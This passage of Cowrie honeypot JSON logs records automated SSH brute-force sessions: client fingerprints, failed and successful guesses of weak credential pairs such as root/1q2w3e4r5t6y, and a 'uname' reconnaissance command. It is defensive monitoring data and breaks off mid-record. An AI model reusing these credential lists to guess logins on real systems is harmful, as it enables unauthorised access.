{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:49.471383Z","src_ip":"91.92.40.36","session":"b6c96e41bc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:49.474834Z","src_ip":"91.92.40.36","session":"b6c96e41bc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:49.580638Z","src_ip":"152.32.214.226","session":"910c90aee729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123","message":"login attempt [vncuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:50.479645Z","src_ip":"152.32.214.226","session":"910c90aee729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.5","message":"Connection lost after 26.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:50.994535Z","src_ip":"91.92.40.36","session":"42dc3bc26125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:51.700901Z","src_ip":"152.32.214.226","session":"910c90aee729","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:55.524796Z","src_ip":"91.92.40.36","session":"2e997cb0f16c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:55.528589Z","src_ip":"91.92.40.36","session":"2e997cb0f16c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:58.578635Z","src_ip":"91.92.40.36","session":"b6c96e41bc7d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"3.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:58.631813Z","src_ip":"91.92.40.36","session":"2e997cb0f16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.1","message":"Connection lost after 27.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:58.637779Z","src_ip":"91.92.40.36","session":"2e997cb0f16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01","message":"login attempt [user01/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:58.774765Z","src_ip":"91.92.40.36","session":"35ca62e3d253","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:59.293879Z","src_ip":"91.92.40.36","session":"b6c96e41bc7d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:59.296793Z","src_ip":"91.92.40.36","session":"b6c96e41bc7d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:59.809425Z","src_ip":"91.92.40.36","session":"b6c96e41bc7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:59.813226Z","src_ip":"91.92.40.36","session":"b6c96e41bc7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32528,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dc5ba98e5d1","protocol":"ssh","message":"New connection: 91.92.40.36:32528 (10.17.0.5:22) [session: 3dc5ba98e5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:00.336644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:01.250872Z","src_ip":"91.92.40.36","session":"3dc5ba98e5d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:01.255987Z","src_ip":"91.92.40.36","session":"3dc5ba98e5d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:01.592574Z","src_ip":"91.92.40.36","session":"35ca62e3d253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32596,"dst_ip":"10.17.0.5","dst_port":22,"session":"24f47e03c429","protocol":"ssh","message":"New connection: 91.92.40.36:32596 (10.17.0.5:22) [session: 24f47e03c429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:04.596224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:05.507148Z","src_ip":"91.92.40.36","session":"24f47e03c429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:05.557012Z","src_ip":"91.92.40.36","session":"24f47e03c429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:06.983798Z","src_ip":"91.92.40.36","session":"3dc5ba98e5d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:08.902399Z","src_ip":"91.92.40.36","session":"24f47e03c429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:09.924709Z","src_ip":"91.92.40.36","session":"3dc5ba98e5d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:10.803461Z","src_ip":"91.92.40.36","session":"24f47e03c429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27666,"dst_ip":"10.17.0.5","dst_port":22,"session":"91262eba1671","protocol":"ssh","message":"New connection: 91.92.40.36:27666 (10.17.0.5:22) [session: 91262eba1671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:13.020098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:13.742094Z","src_ip":"91.92.40.36","session":"91262eba1671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:14.543742Z","src_ip":"91.92.40.36","session":"91262eba1671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:19.185198Z","src_ip":"91.92.40.36","session":"91262eba1671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57368,"dst_ip":"10.17.0.5","dst_port":22,"session":"279cdd5c3f96","protocol":"ssh","message":"New connection: 91.92.40.36:57368 (10.17.0.5:22) [session: 279cdd5c3f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:21.249515Z"}
{"eventid":"cowrie.session.closed","duration":34.134395599365234,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:21.328313Z","src_ip":"103.249.87.183","session":"6d80c72335be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:21.594033Z","src_ip":"91.92.40.36","session":"91262eba1671","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:21.911212Z","src_ip":"91.92.40.36","session":"279cdd5c3f96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:22.788725Z","src_ip":"91.92.40.36","session":"279cdd5c3f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57408,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6ea2f1d57e","protocol":"ssh","message":"New connection: 91.92.40.36:57408 (10.17.0.5:22) [session: ba6ea2f1d57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:25.547889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:26.200212Z","src_ip":"91.92.40.36","session":"ba6ea2f1d57e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:26.205085Z","src_ip":"91.92.40.36","session":"ba6ea2f1d57e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567890","message":"login attempt [ubuntu/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:28.675010Z","src_ip":"91.92.40.36","session":"279cdd5c3f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex123","message":"login attempt [alex/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:28.744887Z","src_ip":"91.92.40.36","session":"ba6ea2f1d57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:30.439112Z","src_ip":"91.92.40.36","session":"ba6ea2f1d57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:31.076865Z","src_ip":"91.92.40.36","session":"279cdd5c3f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28858,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a27a5774d54","protocol":"ssh","message":"New connection: 91.92.40.36:28858 (10.17.0.5:22) [session: 7a27a5774d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:33.129897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:33.562582Z","src_ip":"91.92.40.36","session":"7a27a5774d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sh